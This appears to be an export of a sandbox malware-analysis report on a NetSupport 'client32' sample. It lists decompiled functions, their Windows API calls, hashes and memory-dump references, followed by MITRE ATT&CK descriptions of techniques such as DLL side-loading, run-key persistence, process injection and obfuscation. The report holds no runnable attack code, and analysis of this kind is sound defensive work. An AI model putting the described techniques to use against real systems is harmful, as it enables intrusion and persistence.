Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: b09ac9e3bafe79c70f551ef63f6776fd18c6c78c83775810998dd521224a03f3
Instruction ID: c7e2616952198e08bfd00930ae35e287fb306d58ce37531451bcc3d486bdba1a
Opcode Fuzzy Hash: b09ac9e3bafe79c70f551ef63f6776fd18c6c78c83775810998dd521224a03f3
Instruction Fuzzy Hash: 35E08679B40319ABD314DB95DC50E96F3A8EB54314F008429F96547740DA71F94087A0

Function 11001110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 1100113B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001121
m_hWnd, xrefs: 11001126

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1604732272-2830328467
Opcode ID: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction ID: 825df7ee52a795a689a6901b0494195ba864db9fe7d9b2cdbf909eadc0dc9b6b
Opcode Fuzzy Hash: b62a108dd0f1a298b3da6ec4c3cd6e44d75acd6edd0f1b2899dc5cb61eb0235d
Instruction Fuzzy Hash: 4ED02BB561031CABC314DA92DC41FD2F38CAB20364F004435F52542500D571F54083A4

Function 11001000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 1100102B

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11001011
m_hWnd, xrefs: 11001016

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitKillLastMessageProcessTimerwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2229609774-2830328467
Opcode ID: 76242f1f7a5656083f48ec4c6fb46d4250b195dfa3fd92ba0bbd6b47707e0e7b
Instruction ID: d507351e39c60ba8400a42a64aee1b3b281c2e630578985a984e8bb8925e1fd6
Opcode Fuzzy Hash: 76242f1f7a5656083f48ec4c6fb46d4250b195dfa3fd92ba0bbd6b47707e0e7b
Instruction Fuzzy Hash: 21D02B76B4031DABD310C691DC44FD2F39CD714364F008035F55446500D570F8408390

Function 1103D5B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(NSMClassList,00000000), ref: 1103D5BF
SendMessageA.USER32(00000000,0000065B,?,?), ref: 1103D5D7

Strings

NSMClassList, xrefs: 1103D5BA

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FindMessageSendWindow
String ID: NSMClassList
API String ID: 1741975844-2474587545
Opcode ID: 718772859f33f448c89d93b5f37c290420823d037368ac38c074b4f83ca60ad9
Instruction ID: 7f82e6ac788c827237b9f9d92b71e0ea3c568c774f1ab0da8c2af698dd4ba3dc
Opcode Fuzzy Hash: 718772859f33f448c89d93b5f37c290420823d037368ac38c074b4f83ca60ad9
Instruction Fuzzy Hash: 37D01236650228BBD7049BA68C49FA7BB9DEB85755F018055F6689A180CA71D50187E0

Function 1100D4A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(1100D71E,?,00000000,?,1100CA4A,?), ref: 1100D4A9
LoadLibraryA.KERNEL32(AudioCapture.dll,?,1100CA4A,?), ref: 1100D4B8

Strings

AudioCapture.dll, xrefs: 1100D4B3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoadVersion
String ID: AudioCapture.dll
API String ID: 3209957514-2642820777
Opcode ID: 31b78285a9ca15673ba87c57432177bf1cff156aadcdf76d1ced8aa22ba9c77d
Instruction ID: ab88030cee3ff84c3afa862bf4e3a54fa00084ca03ad85f46d803c7cbd51aa0e
Opcode Fuzzy Hash: 31b78285a9ca15673ba87c57432177bf1cff156aadcdf76d1ced8aa22ba9c77d
Instruction Fuzzy Hash: DBE01734E2116B8BF7468BB58C4839DBBD1A740A9AFC250B0E826C1548FB689440DB20

Function 11143320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 11143347

Strings

1000,50, xrefs: 11143342
1000,50, xrefs: 11143337, 11143341

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _strncpy
String ID: 1000,50$1000,50
API String ID: 2961919466-2776873633
Opcode ID: 81d6864d565fa8250d3fb3330302d5ba6346bad85999c22dbebb076b7baf886a
Instruction ID: bd0c201b9adf6a5d857793fbf3440ac1f90bcd045974f847078f01ed738f2ada
Opcode Fuzzy Hash: 81d6864d565fa8250d3fb3330302d5ba6346bad85999c22dbebb076b7baf886a
Instruction Fuzzy Hash: 7ED0A7706883996FE7008E69EC00B5DBBCC6B01E14F408021FC98CB780DB70F9508351

Function 1110F340 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(00000000,?,1102C44F), ref: 1110F364

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

this->hReadyEvent, xrefs: 1110F353
..\ctl32\Refcount.cpp, xrefs: 1110F34E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorEventExitLastMessageProcesswsprintf
String ID: ..\ctl32\Refcount.cpp$this->hReadyEvent
API String ID: 2400454052-4183089485
Opcode ID: 41d0f825f3bbd18f317b206de87baf67605da20620eb9fcb5cb917e3173e7c4c
Instruction ID: 9b03986313e8994d60ed52ed66d1c026156e8c3194449c112131b18896cf505e
Opcode Fuzzy Hash: 41d0f825f3bbd18f317b206de87baf67605da20620eb9fcb5cb917e3173e7c4c
Instruction Fuzzy Hash: EDD0223AE142369FD2A09BA8AC06FC2F3B49B08318F018438F00096080DAB0B445CB88

Function 11153500 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

GetWindowTextLengthA.USER32(00000000), ref: 11153524

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1115350E
m_hWnd, xrefs: 11153513

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastLengthMessageProcessTextWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 67735064-2830328467
Opcode ID: fad9644258b9fcb2970ce22f50fed9297b46cc15e0ab03ded2db0d651ee77a36
Instruction ID: 41066489dfbac7b1bedb0840a1a625780406ac6dbed52086b597086e3eac16ab
Opcode Fuzzy Hash: fad9644258b9fcb2970ce22f50fed9297b46cc15e0ab03ded2db0d651ee77a36
Instruction Fuzzy Hash: 5FD022B5B69229ABC31096A1EC84FC1B3849B0832CF011834F03553400E660B8C08341

Function 1100D770 Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(111ECE2C,00000000,?,?,1100C13B,00000000,00000000), ref: 1100D77F
LeaveCriticalSection.KERNEL32(111ECE2C,?,?,1100C13B,00000000,00000000), ref: 1100D7F0

Part of subcall function 1100D6E0: EnterCriticalSection.KERNEL32(111ECE2C,1100CA4A,?,1100B4AC,?,00000000,?,1100CA4A,?), ref: 1100D6E9
Part of subcall function 1100D6E0: LeaveCriticalSection.KERNEL32(111ECE2C,1100B4AC,?,00000000,?,1100CA4A,?), ref: 1100D761

LeaveCriticalSection.KERNEL32(111ECE2C), ref: 1100D7BF
LeaveCriticalSection.KERNEL32(111ECE2C), ref: 1100D7DB

Part of subcall function 1100D690: EnterCriticalSection.KERNEL32(111ECE2C,1100C3CB), ref: 1100D695
Part of subcall function 1100D690: LeaveCriticalSection.KERNEL32(111ECE2C), ref: 1100D6CF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 814b6c6d370acaf2a60d7adc16ec1fb1b49ba5a5cd7674d308ab0b87800441f2
Instruction ID: 08a2a681f85b9e6f908ed91d35112c8f73428e95198a676c648ef119a840dcee
Opcode Fuzzy Hash: 814b6c6d370acaf2a60d7adc16ec1fb1b49ba5a5cd7674d308ab0b87800441f2
Instruction Fuzzy Hash: E601713AE122385BE705DBF4DC49B9DFBA8EB0CA95B0001A5FC1CD3200E670AD0087E1

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

